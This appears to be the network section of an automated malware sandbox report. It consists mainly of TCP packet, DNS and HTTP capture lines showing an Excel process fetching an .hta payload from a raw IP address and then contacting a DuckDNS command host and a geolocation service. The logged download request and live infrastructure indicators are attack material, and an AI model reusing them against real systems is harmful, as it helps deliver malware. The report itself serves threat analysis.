                                                                                                                                                                Nov 28, 2024 11:02:23.370529890 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.370564938 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.371005058 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.372037888 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.372078896 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.372133017 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.373203039 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.373245955 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.373655081 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.374571085 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.374614000 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.374735117 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.375883102 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.375924110 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.376110077 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.377228975 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.377264023 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.377408981 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.420593023 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.420669079 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.420876026 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.421289921 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.421300888 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.421336889 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.502058029 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.502111912 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.502173901 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.502451897 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.502465010 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.502496004 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.503163099 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.503175974 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.503205061 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.504040003 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.504054070 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.504089117 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.504894018 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.504935980 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.505255938 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.505703926 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.505752087 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.505970001 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.506616116 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.506658077 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.507138968 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.507514954 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.507560015 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.508404016 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.508416891 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.508429050 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.508467913 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.509246111 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.509370089 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.509426117 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.510149002 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.510610104 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.510662079 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.511341095 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.511977911 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.511993885 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.512028933 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.512034893 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.512073994 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.512833118 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.513489008 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.513535023 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.513686895 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.513931990 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.513972998 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.514621973 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.514635086 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.514753103 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.515537977 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.515549898 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.515593052 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.516396999 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.517235041 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.517280102 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.517283916 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.517297983 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.517487049 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.518137932 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.518856049 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.518897057 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.519051075 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.519064903 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.519103050 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.519942045 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.520191908 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.520209074 CET8049179178.237.33.50192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.520239115 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.520266056 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:02:23.520828962 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.520994902 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.521034002 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.521706104 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.521866083 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.521908998 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.522610903 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.522819996 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.522866964 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.523526907 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.523540974 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.523581028 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.524363995 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.524552107 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.524591923 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.525270939 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.525301933 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.525372028 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.526145935 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.526195049 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.526259899 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.527031898 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.527741909 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.527798891 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.527920961 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.527961969 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.528000116 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.528830051 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.529705048 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.529716969 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.529751062 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.529944897 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.529983997 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:23.530580044 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:23.789532900 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.178638935 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.298595905 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.298657894 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.298669100 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.298719883 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.418895960 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.418973923 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.418989897 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.419003010 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.419050932 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.419076920 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.419121027 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.538974047 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.539000034 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.539026976 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.539037943 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.539037943 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.539104939 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.539128065 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.539199114 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.539207935 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.539433956 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:29.661163092 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.661175966 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.661278963 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.662192106 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:29.662276030 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:50.126529932 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:50.127957106 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:50.248980045 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:03:20.145576954 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:03:20.147036076 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:03:20.269867897 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:03:29.248364925 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:03:29.653367043 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:03:30.355393887 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:03:31.759387970 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:03:34.458240986 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:03:39.762288094 CET4917980192.168.2.22178.237.33.50

                                                                                                                                                                UDP Packets

                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                Nov 28, 2024 11:01:21.845870972 CET5456253192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:22.105995893 CET53545628.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.148353100 CET5291753192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:26.428489923 CET53529178.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.435293913 CET5291753192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:26.694067955 CET53529178.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:26.899898052 CET5291753192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:27.034420013 CET53529178.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:46.869076014 CET6275153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:47.003901958 CET53627518.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:47.005773067 CET6275153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:47.129743099 CET53627518.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:47.139830112 CET6275153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:47.277136087 CET53627518.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:47.277371883 CET6275153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:47.400183916 CET53627518.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:47.400413036 CET6275153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:47.535150051 CET53627518.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:54.118501902 CET5789353192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:54.487610102 CET53578938.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:01:54.675422907 CET5482153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:01:54.809740067 CET53548218.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:01.194052935 CET5471953192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:02:01.328361988 CET53547198.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:01.362175941 CET4988153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:02:01.610785961 CET53498818.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:17.104243040 CET5499853192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:02:17.438522100 CET53549988.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.232155085 CET5278153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:02:20.472444057 CET53527818.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.472784042 CET5278153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:02:20.608012915 CET53527818.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.608279943 CET5278153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:02:20.849977970 CET53527818.8.8.8192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.850234032 CET5278153192.168.2.228.8.8.8
                                                                                                                                                                Nov 28, 2024 11:02:21.089921951 CET53527818.8.8.8192.168.2.22

                                                                                                                                                                DNS Queries

                                                                                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                Nov 28, 2024 11:01:21.845870972 CET192.168.2.228.8.8.80x3773Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:26.148353100 CET192.168.2.228.8.8.80x17c8Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:26.435293913 CET192.168.2.228.8.8.80x17c8Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:26.899898052 CET192.168.2.228.8.8.80x17c8Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:46.869076014 CET192.168.2.228.8.8.80xab90Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.005773067 CET192.168.2.228.8.8.80xab90Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.139830112 CET192.168.2.228.8.8.80xab90Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.277371883 CET192.168.2.228.8.8.80xab90Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.400413036 CET192.168.2.228.8.8.80xab90Standard query (0)ljg.clA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:54.118501902 CET192.168.2.228.8.8.80xabStandard query (0)3012.filemail.comA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:54.675422907 CET192.168.2.228.8.8.80x35cStandard query (0)3012.filemail.comA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:01.194052935 CET192.168.2.228.8.8.80xab6fStandard query (0)3012.filemail.comA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:01.362175941 CET192.168.2.228.8.8.80x876bStandard query (0)3012.filemail.comA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:17.104243040 CET192.168.2.228.8.8.80xed08Standard query (0)newbeggin.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:20.232155085 CET192.168.2.228.8.8.80x5f11Standard query (0)geoplugin.netA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:20.472784042 CET192.168.2.228.8.8.80x5f11Standard query (0)geoplugin.netA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:20.608279943 CET192.168.2.228.8.8.80x5f11Standard query (0)geoplugin.netA (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:20.850234032 CET192.168.2.228.8.8.80x5f11Standard query (0)geoplugin.netA (IP address)IN (0x0001)false

                                                                                                                                                                DNS Answers

                                                                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                Nov 28, 2024 11:01:22.105995893 CET8.8.8.8192.168.2.220x3773No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:26.428489923 CET8.8.8.8192.168.2.220x17c8No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:26.694067955 CET8.8.8.8192.168.2.220x17c8No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:27.034420013 CET8.8.8.8192.168.2.220x17c8No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.003901958 CET8.8.8.8192.168.2.220xab90No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.129743099 CET8.8.8.8192.168.2.220xab90No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.277136087 CET8.8.8.8192.168.2.220xab90No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.400183916 CET8.8.8.8192.168.2.220xab90No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:47.535150051 CET8.8.8.8192.168.2.220xab90No error (0)ljg.cl152.231.117.86A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:54.487610102 CET8.8.8.8192.168.2.220xabNo error (0)3012.filemail.comip.3012.filemail.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:54.487610102 CET8.8.8.8192.168.2.220xabNo error (0)ip.3012.filemail.com193.30.119.112A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:54.809740067 CET8.8.8.8192.168.2.220x35cNo error (0)3012.filemail.comip.3012.filemail.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:01:54.809740067 CET8.8.8.8192.168.2.220x35cNo error (0)ip.3012.filemail.com193.30.119.112A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:01.328361988 CET8.8.8.8192.168.2.220xab6fNo error (0)3012.filemail.comip.3012.filemail.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:01.328361988 CET8.8.8.8192.168.2.220xab6fNo error (0)ip.3012.filemail.com193.30.119.112A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:01.610785961 CET8.8.8.8192.168.2.220x876bNo error (0)3012.filemail.comip.3012.filemail.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:01.610785961 CET8.8.8.8192.168.2.220x876bNo error (0)ip.3012.filemail.com193.30.119.112A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:17.438522100 CET8.8.8.8192.168.2.220xed08No error (0)newbeggin.duckdns.org31.13.224.72A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:20.472444057 CET8.8.8.8192.168.2.220x5f11No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:20.608012915 CET8.8.8.8192.168.2.220x5f11No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:20.849977970 CET8.8.8.8192.168.2.220x5f11No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false
                                                                                                                                                                Nov 28, 2024 11:02:21.089921951 CET8.8.8.8192.168.2.220x5f11No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                                                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                                                • ljg.cl
                                                                                                                                                                • 3012.filemail.com
                                                                                                                                                                • 172.232.175.166
                                                                                                                                                                • geoplugin.net

                                                                                                                                                                HTTP Packets

                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                0192.168.2.2249164172.232.175.166803328C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                Nov 28, 2024 11:01:24.411125898 CET353OUTGET /809/ce/createdgoodthingsfor.hta HTTP/1.1
                                                                                                                                                                Accept: */*
                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                Host: 172.232.175.166
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Nov 28, 2024 11:01:25.723920107 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                Date: Thu, 28 Nov 2024 10:01:25 GMT
                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                Last-Modified: Thu, 28 Nov 2024 05:45:29 GMT
                                                                                                                                                                ETag: "26e08-627f297054196"
                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                Content-Length: 159240
                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                Content-Type: application/hta
